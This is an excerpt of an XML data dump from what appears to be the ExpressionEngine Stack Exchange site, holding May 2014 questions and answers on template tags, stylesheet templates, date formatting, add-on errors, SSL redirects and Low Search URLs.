ContentLicense="CC BY-SA 3.0" />
  <row Id="22049" PostTypeId="2" ParentId="22048" CreationDate="2014-05-19T07:52:21.847" Score="1" Body="&lt;p&gt;&lt;strike&gt;You would simply use {url_title} within your entries loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;videos&quot; search:category=&quot;some_category&quot;}&#xA;&amp;lt;span&amp;gt;{title}&amp;lt;span&amp;gt;&#xA;&amp;lt;a href=&quot;www.domain.com/videos/{url_title}&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In light of new information...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the field is a relationship or Playa field you can access the URL title by using the field name as a tag pair and then your required tag within that. The precise method may vary depending on how you have things set up but try something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;videos&quot; search:category=&quot;some_category&quot;}&#xA;&amp;lt;span&amp;gt;{title}&amp;lt;span&amp;gt;&#xA;&amp;lt;a href=&quot;www.domain.com/videos/{mycustomfield}{url_title}{/mycustomfield}&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This &lt;em&gt;may&lt;/em&gt; not work due to namespacing and will return the url title for the parent entry, in which case you could try {mycustomfield:url_title}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/relationships.html&quot; rel=&quot;nofollow&quot;&gt;Here are the docs for relationships in EE&lt;/a&gt;. Note that the way these work has changed in recent versions so if you are using an older version of EE you may need to do it slightly differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all that fails then you could resort to using an embedded template but that's not particularly efficient.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-05-19T09:08:35.827" LastActivityDate="2014-05-19T09:08:35.827" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22050" PostTypeId="2" ParentId="22048" CreationDate="2014-05-19T09:12:08.720" Score="0" Body="&lt;p&gt;&lt;strike&gt;Try using the &lt;strong&gt;title_permalink&lt;/strong&gt; tag, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;videos&quot; search:category=&quot;some_category&quot;}&#xA; &amp;lt;span&amp;gt;{title}&amp;lt;span&amp;gt;&#xA; &amp;lt;a href=&quot;{title_permalink='videos'}&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{title_permalink} - This variable uses the “url title” as the link. It defaults to the site index with the “url title”&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, you can specify a specific template group/template and the “url title” will automatically be added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{title_permalink=&quot;template/location&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;see: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#title-permalink&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#title-permalink&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;/strike&gt;&lt;/h2&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you simply want to echo out the url title you should be able to use the variable: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{url_title}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;The human readable title used in the URL as a permalink.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#id8&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#id8&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2788" LastEditorUserId="2788" LastEditDate="2014-05-19T10:10:30.470" LastActivityDate="2014-05-19T10:10:30.470" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22051" PostTypeId="1" AcceptedAnswerId="22058" CreationDate="2014-05-19T12:11:41.993" Score="1" ViewCount="257" Body="&lt;p&gt;EE doesn't seem to be parsing {snippet} tags inside a template of type stylesheet - I'm guessing because the curly braces conflict with CSS's own braces indicating the start of a style declaration. Is there a way to sort of escape these characters or something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.style { /* CSS curly brace */&#xA;  width: {snippet_width}px; /* EE curly brace */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="461" LastActivityDate="2014-05-19T16:50:41.840" Title="How to reference snippet variables inside a stylesheet template" Tags="|templates|css|snippets|stylesheets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22052" PostTypeId="2" ParentId="22051" CreationDate="2014-05-19T12:36:07.650" Score="2" Body="&lt;p&gt;EE's CSS and JS templates do not parse variables or tags. They're just static templates. Best to avoid EE altogether and just create CSS and JS files on the server. To still be somewhat dynamic, you can always hard-code rules in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; (for CSS) or above &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt; (for JS). For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;&#xA;   .style {&#xA;       width: {snippet_width}px;&#xA;   }&#xA;&amp;lt;/style&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-05-19T12:36:07.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22053" PostTypeId="2" ParentId="22033" CreationDate="2014-05-19T12:42:50.700" Score="0" Body="&lt;p&gt;You can use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/session.html#session-cache&quot; rel=&quot;nofollow&quot;&gt;session cache&lt;/a&gt; to know what your plugin already did while loading the page. Unlike the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/session.html&quot; rel=&quot;nofollow&quot;&gt;session class&lt;/a&gt;, which is new, the session cache is there by a long time. It's intended to avoid unnecessary repeated actions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create a variable called, let's say, &lt;code&gt;jqueryfied&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! ee()-&amp;gt;session-&amp;gt;cache('my_add-on_class', 'jqueryfied'))&#xA;{&#xA;   // add your code to include the jquery&#xA;&#xA;   ee()-&amp;gt;session-&amp;gt;set_cache('my_addon_class', 'jqueryfied', true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See? Now you add-on knows if it already included the jquery script on the page.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-05-19T12:42:50.700" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22054" PostTypeId="1" AcceptedAnswerId="22055" CreationDate="2014-05-19T12:52:50.323" Score="1" ViewCount="83" Body="&lt;p&gt;I've set up a staging server for an existing EE2 website, when I make changes to templates and save most templates save ok, but when I try to save a template that has an EE query tag, I get the following error and it fails to save:&#xA;'You don't have permission to access /system/index.php on this server.'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove the query tag, it saves with no problems.&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2014-05-19T13:34:57.857" LastActivityDate="2014-05-19T15:13:40.993" Title="Can't save templates containing Query tags" Tags="|templates|query|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22055" PostTypeId="2" ParentId="22054" CreationDate="2014-05-19T15:13:40.993" Score="3" Body="&lt;p&gt;You may want to check if mod_security is installed on your server and either disable it or change the configuration. My guess is that your issues is that mod_security is seeing the SQL query in your query tag and blocking the submission.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-05-19T15:13:40.993" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22056" PostTypeId="1" CreationDate="2014-05-19T15:52:24.050" Score="0" ViewCount="142" Body="&lt;p&gt;I just make new entries (19 may 2014) and on my site I get for entry_date 05 may 2014. I use plain EE tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{entry_date format=&quot;%m %F %Y&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea what is going wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Francois&lt;/p&gt;&#xA;" OwnerUserId="482" LastActivityDate="2014-05-19T16:17:04.843" Title="Wrong entry_date" Tags="|entry-date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22057" PostTypeId="2" ParentId="22056" CreationDate="2014-05-19T16:17:04.843" Score="4" Body="&lt;p&gt;In your entry_date tag you're using (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/date_variable_formatting.html&quot; rel=&quot;nofollow&quot;&gt;date formatting docs&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;%m (month)&#xA;%F (month, textual, 3 letters)&#xA;%Y (year, 4 digits)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it's outputting as you've entered it. If you want 19 may 2014, change %m to %d like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{entry_date format=&quot;%d %F %Y&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-05-19T16:17:04.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22058" PostTypeId="2" ParentId="22051" CreationDate="2014-05-19T16:50:41.840" Score="4" Body="&lt;p&gt;While use cases for it are rare, CSS templates &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/stylesheet.html#using-tags-and-php-in-a-stylesheet&quot; rel=&quot;nofollow&quot;&gt;can parse tags&lt;/a&gt; if you need them to, but you must link to them with &lt;code&gt;{path='template_group/css_template'}&lt;/code&gt; instead of &lt;code&gt;{stylesheet='template_group/css_template}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-05-19T16:50:41.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22059" PostTypeId="1" AcceptedAnswerId="22068" CreationDate="2014-05-19T19:19:06.250" Score="0" ViewCount="146" Body="&lt;p&gt;I am not figuring this one out. It's my first time trying to combine Low Variables, Matrix, and playa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a slider on the homepage that is populated with Low Variables. Within LV I used Matrix to create the individual slides. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within Matrix you can choose a project with playa which pulls in the background image (channel images), the title, and location with a link to the project. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is another field in Matrix to give a general title to the slide. Below is my code, any help would be great!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;flexslider masthead&quot;&amp;gt;&#xA;&amp;lt;ul class=&quot;slides&quot;&amp;gt;&#xA;{exp:low_variables:pair var=&quot;lv_home_slider&quot;}&#xA;{lv_home_slider}&#xA;&amp;lt;li&amp;gt;&#xA;&amp;lt;div class=&quot;inside-wrap&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;masthead-txt&quot;&amp;gt;&#xA;&amp;lt;h1&amp;gt;{hero-tagline}&amp;lt;/h1&amp;gt;&#xA;{exp:playa:children var=&quot;featured_project&quot; limit=&quot;1&quot;}&#xA;&amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;h4&amp;gt;{project-location}&amp;lt;/h4&amp;gt;&#xA;&amp;lt;a href=&quot;{title_permalink='what-we-do/projects'}&quot; class=&quot;btn btn-fill&quot;&amp;gt;View Details&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;          &#xA;{exp:channel_images:images entry_id=&quot;{entry_id}&quot; field=&quot;masthead_image&quot; limit=&quot;1&quot;}&#xA;&amp;lt;div data-picture data-alt=&quot;{title}&quot;&amp;gt;&#xA;&amp;lt;div data-src=&quot;{image:url:small}&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div data-src=&quot;{image:url:medium}&quot; data-media=&quot;(min-width: 700px)&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div data-src=&quot;{image:url}&quot; data-media=&quot;(min-width: 1000px)&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!--[if (lt IE 9) &amp;amp; (!IEMobile)]&amp;gt;&#xA;&amp;lt;div data-src=&quot;{image:url}&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;![endif]--&amp;gt;&#xA;&amp;lt;noscript&amp;gt;&#xA;&amp;lt;img src=&quot;{image:url}&quot; alt=&quot;{title}&quot;&amp;gt;&#xA;&amp;lt;/noscript&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel_images:images}&#xA;{/exp:playa:children}&#xA;&amp;lt;/li&amp;gt;&#xA;{/lv_home_slider}&#xA;{/exp:low_variables:pair}&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--flexslider--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1187" LastActivityDate="2014-05-20T07:47:35.203" Title="Building slider with Low Variables, Matrix and playa" Tags="|matrix|playa|low-variables|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22060" PostTypeId="2" ParentId="22042" CreationDate="2014-05-19T19:22:50.567" Score="0" Body="&lt;p&gt;There were a few issues, all to do with outdated addons, which EE's support were stellar about investigating and fixing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After turning on debugging this came up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined method Category_model::get_categories() &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This was caused by the Developer accessory and updating it fixed the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then we had 2 fieldtypes with the same issue - one was carthrob_matrix and the other was pt_switch. This was the basic error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Call to undefined method EE_Fieldtype::EE_Fieldtype() in /www/redacted/public_html/redacted/expressionengine/third_party/cartthrob/fieldtypes/ft.cartthrob_matrix.php on line 40&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And we fixed it like this: &lt;a href=&quot;http://devot-ee.com/add-ons/support/simple-s3-uploader/viewthread/12869&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/simple-s3-uploader/viewthread/12869&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We also had another issue with imgsizer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Call to undefined method EE_Functions::remove_double_slashes() in /www/redacted/public_html/redacted/expressionengine/third_party/imgsizer/pi.imgsizer.php on line 42 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's really old and was calling a deprecated function. Robin switched out reduce_double_slashes() from the string helper for remove_double_slashes() and that seems to have it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lesson is obviously to upgrade all addons before upgrading and to upgrade your EE installation often, don't wait 2 years ;(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, Robin at EllisLab was really great in tracking all this down and helping to fix it.&lt;/p&gt;&#xA;" OwnerUserId="1440" LastActivityDate="2014-05-19T19:22:50.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22061" PostTypeId="1" CreationDate="2014-05-19T19:26:28.723" Score="0" ViewCount="60" Body="&lt;p&gt;I'm trying to modify this piece of code in my template so that I can remove the text that says to &quot;download a module&quot; but when I do, it breaks the &quot;quiz button&quot; link / makes the button inactive. Anyone have any input on how I can resolve this issue? It seems like the two are connected somehow, but I need to modify just one of them, the download module link. TIA!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;Includes/header&quot;}&#xA;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;/js/cycle.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;function gototop(){&#xA;$('body,html').scrollTop(0);&#xA;&#xA;}&#xA;&#xA;$(function(){&#xA;var bc = $('#buttonContainer'); &#xA;&#xA;var $container = $('#quiz_container').cycle({ &#xA;    fx:     'scrollHorz', &#xA;    speed:   300, &#xA;    timeout: 0,&#xA;    after: function (curr, next, opts) {&#xA;$('.navidentifyb li').removeClass('active');&#xA;   $('.navidentifyb li').eq(opts.currSlide).addClass('active');&#xA;} &#xA;}); &#xA;&#xA;&#xA;&#xA;&#xA;i=0;&#xA;$container.children().each(function(i) { &#xA;    // create input &#xA;    var text = $(this).children('h3').text();&#xA;    $(&quot;&amp;lt;li&amp;gt;&amp;lt;a&amp;gt;&quot;+text+&quot;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&quot;) &#xA;        // append it to button container &#xA;        .appendTo(bc) &#xA;        // bind click handler &#xA;        .click(function() { &#xA;            // cycle to the corresponding slide &#xA;            $container.cycle(i); &#xA;            //return false; &#xA;        }); &#xA;&#xA;&#xA;z=0;&#xA;$('#quiz_container div').each(function(z){&#xA;&#xA;            $(this).children('.btn').click(function() { &#xA;            // cycle to the corresponding slide &#xA;&#xA;            $container.cycle(z); &#xA;&#xA;        });&#xA;  z++;&#xA;        }); &#xA;});&#xA;&#xA;});&#xA;&#xA;&#xA;&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&#xA;{exp:channel:entries channel=&quot;CE_Courses&quot; limit=&quot;1&quot;}    &#xA;&amp;lt;div id=&quot;headerpromo&quot;&amp;gt;&amp;lt;img src=&quot;{course_header}&quot; alt=&quot;About Putney&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;!--    PAGE CONTAINER --&amp;gt;&#xA;    &amp;lt;div id=&quot;pagebody&quot;&amp;gt;&#xA;&#xA;&#xA;    {embed=&quot;Sidebars/education&quot; id=&quot;205&quot; }&#xA;&#xA;&#xA;&#xA;&#xA;    &amp;lt;!-- MAIN CONTENT --&amp;gt;&#xA;    &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&amp;lt;p&amp;gt;Course information written by: &amp;lt;b&amp;gt;{presenter}&amp;lt;/b&amp;gt;&amp;lt;/p&amp;gt;    &#xA;&#xA;&#xA;    {course_body}&#xA;&#xA;&amp;lt;? $quizlink = &quot;{quiz_link}&quot;; ?&amp;gt;&#xA;&#xA;{if course_type ==&quot;Video&quot;}&#xA;&#xA;&amp;lt;?&#xA;$mod = &quot;{module_notes}&quot;;&#xA;?&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;&#xA;$(function(){&#xA;$('#quiz_container').append('&amp;lt;p&amp;gt;&amp;lt;a href=&quot;&amp;lt;? echo $mod; ?&amp;gt;&quot;&amp;gt;Click here&amp;lt;/a&amp;gt; to download notes from the module.&amp;lt;/p&amp;gt;');&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;{/if}&#xA;&#xA;{/exp:channel:entries}&#xA;    &amp;lt;div id=&quot;quiz_container&quot;&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&amp;lt;? $i = 0; ?&amp;gt;&#xA;&#xA;  {exp:channel:entries channel=&quot;course_chapters&quot; sort=&quot;asc&quot; orderby=&quot;chapter_number&quot; related_categories_mode=&quot;yes&quot;  limit=&quot;100&quot; custom_fields=&quot;yes&quot;  }&#xA;&amp;lt;div&amp;gt;    &#xA;&amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;&#xA;    {chapter}&#xA;&#xA;{if absolute_count == total_results}&#xA;&amp;lt;a class=&quot;btn&quot; href=&quot;&amp;lt;? echo $quizlink; ?&amp;gt;&quot; target=&quot;_blank&quot; &amp;gt;Take the Quiz &amp;lt;i class=&quot;icon-caret-right&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;{if:else}&#xA;&amp;lt;a href=&quot;javascript:gototop();&quot; class=&quot;btn&quot; &amp;gt;Next &amp;lt;i class=&quot;icon-caret-right&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;{/if}&#xA;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;? $i++; ?&amp;gt;&#xA;&#xA;&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;    &amp;lt;/div&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;!--    /MAIN CONTENT --&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;!-- /PAGE CONTAINER --&amp;gt;&#xA;&#xA;&#xA;    {embed=&quot;Includes/footer&quot;}&#xA;&#xA;&#xA;        &amp;lt;div id=&quot;promos&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;/howtobuy&quot;&amp;gt;&amp;lt;div class=&quot;promo&quot;&amp;gt;How to Buy&amp;lt;/div&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;a href=&quot;/vetsignup&quot;&amp;gt;&amp;lt;div class=&quot;promo&quot;&amp;gt;Veterinarian Sign Up&amp;lt;/div&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;a href=&quot;/whyputney&quot;&amp;gt;&amp;lt;div class=&quot;promo&quot;&amp;gt;Why Putney Generics&amp;lt;/div&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;    &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="3118" LastEditorUserId="1188" LastEditDate="2014-05-19T19:44:56.067" LastActivityDate="2014-06-19T02:16:12.123" Title="Modifying / Removing a text link makes button inactive" Tags="|template-scripting|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22062" PostTypeId="1" CreationDate="2014-05-19T21:25:29.263" Score="0" ViewCount="148" Body="&lt;p&gt;We have a query which searches a specific custom field for a given keyword.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example lets assume we have a table of results, one of the columns data is a custom field called 'my_colour' which contains a colour such as red.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we click 'red' we want to show all results from a collection where the field 'my_colour' contains 'red'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would give something like the following URL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://example.com//results?search:my_colour=red&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which works, but our question is, is there is a specific tag to do this for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:low_search:url search:my_colour='red'}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We DONT want use filter to append the current URL, instead simply display a specific set of results for the field and keyword.&lt;/p&gt;&#xA;" OwnerUserId="3025" LastEditorUserId="343" LastEditDate="2014-05-19T22:34:05.490" LastActivityDate="2014-05-20T07:42:08.737" Title="URL to search a field for keyword on Low Search" Tags="|custom-fields|url|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22063" PostTypeId="2" ParentId="21885" CreationDate="2014-05-19T22:30:42.130" Score="0" Body="&lt;p&gt;This is also possible and less complicated if you use sort=&quot;entry_id&quot; orderby=&quot;asc&quot; it would in essence accomplish what the idea was&lt;/p&gt;&#xA;" OwnerUserId="2524" LastActivityDate="2014-05-19T22:30:42.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22064" PostTypeId="1" AcceptedAnswerId="22156" CreationDate="2014-05-20T01:44:25.587" Score="0" ViewCount="298" Body="&lt;p&gt;&lt;strong&gt;Specs:&lt;/strong&gt; EE 2.8.1 | CT 2.5 | PHP 5.3.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running into an issue where using the ct_pay_by_check gateway during checkout is giving me a &quot;502 Bad Gateway | nginx&quot; error on returning to the confirmation page, in which the order entry is set as status 'Offsite Processing'.  The order is processed correctly in the backend, but does not return the confirmation page to the frontend user.  I am also using PayPal Express &amp;amp; PayPal Pro gateways without issue on the same site, although those have only been tested on successful authorization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tested this issue in both Chrome and Firefox and both give the same result.  Additionally, I tested checkouts by both regular logged-in members and as superadmin both return &quot;502 Bad Gateway | nginx&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Testing on my local system running WAMP had no issues, so I'm assuming there is something about the live server configuration that might be causing this.  However, I'm at a bit of a loss as to what might need tweaking.&lt;/p&gt;&#xA;" OwnerUserId="2842" LastEditorUserId="2842" LastEditDate="2014-05-20T01:55:23.283" LastActivityDate="2014-05-22T06:41:18.593" Title="Cartthrob ct_pay_by_check causes 502 Bad Gateway | nginx" Tags="|cartthrob|payment-gateway|checkout|nginx|error-502|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22066" PostTypeId="1" CreationDate="2014-05-20T06:37:59.397" Score="2" ViewCount="224" Body="&lt;p&gt;I finally set up my first EE site with SSL.  Everything seems to be working ok, but I discovered that some of the pages are &quot;delivering unencrypted elements&quot;.  What I've found so far:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Images added through WYSIWYG are being called via http and not https&lt;/li&gt;&#xA;&lt;li&gt;I am using EE_Twitter, and any images through there are also being delivered via http and not https&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I have a page without either of those, then I get a thumbs-up from the browser.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am utilizing a master config file, and my .htaccess file looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{HTTP_HOST} ^www\.(.+)$ [NC]&#xA;RewriteRule ^(.*)$ http://%1/$1 [L,R=301]&#xA;&#xA;RewriteCond %{HTTPS} on!&#xA;RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]&#xA;&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2014-05-21T07:09:07.633" Title="SSL and Insecure Content" Tags="|ssl|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22067" PostTypeId="2" ParentId="22062" CreationDate="2014-05-20T07:42:08.737" Score="1" Body="&lt;p&gt;At this moment, using the URL tag &lt;em&gt;and&lt;/em&gt; GET variables for the query (not encoding it) will always use the existing query and apply the given URL tag's parameters to it. If you switch to encoded queries, you can &quot;reset&quot; the query by not defining a &lt;code&gt;query&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could create the non-encoded query by hand, by composing the query string yourself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/results?search:my_colour={the_color_var}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-05-20T07:42:08.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
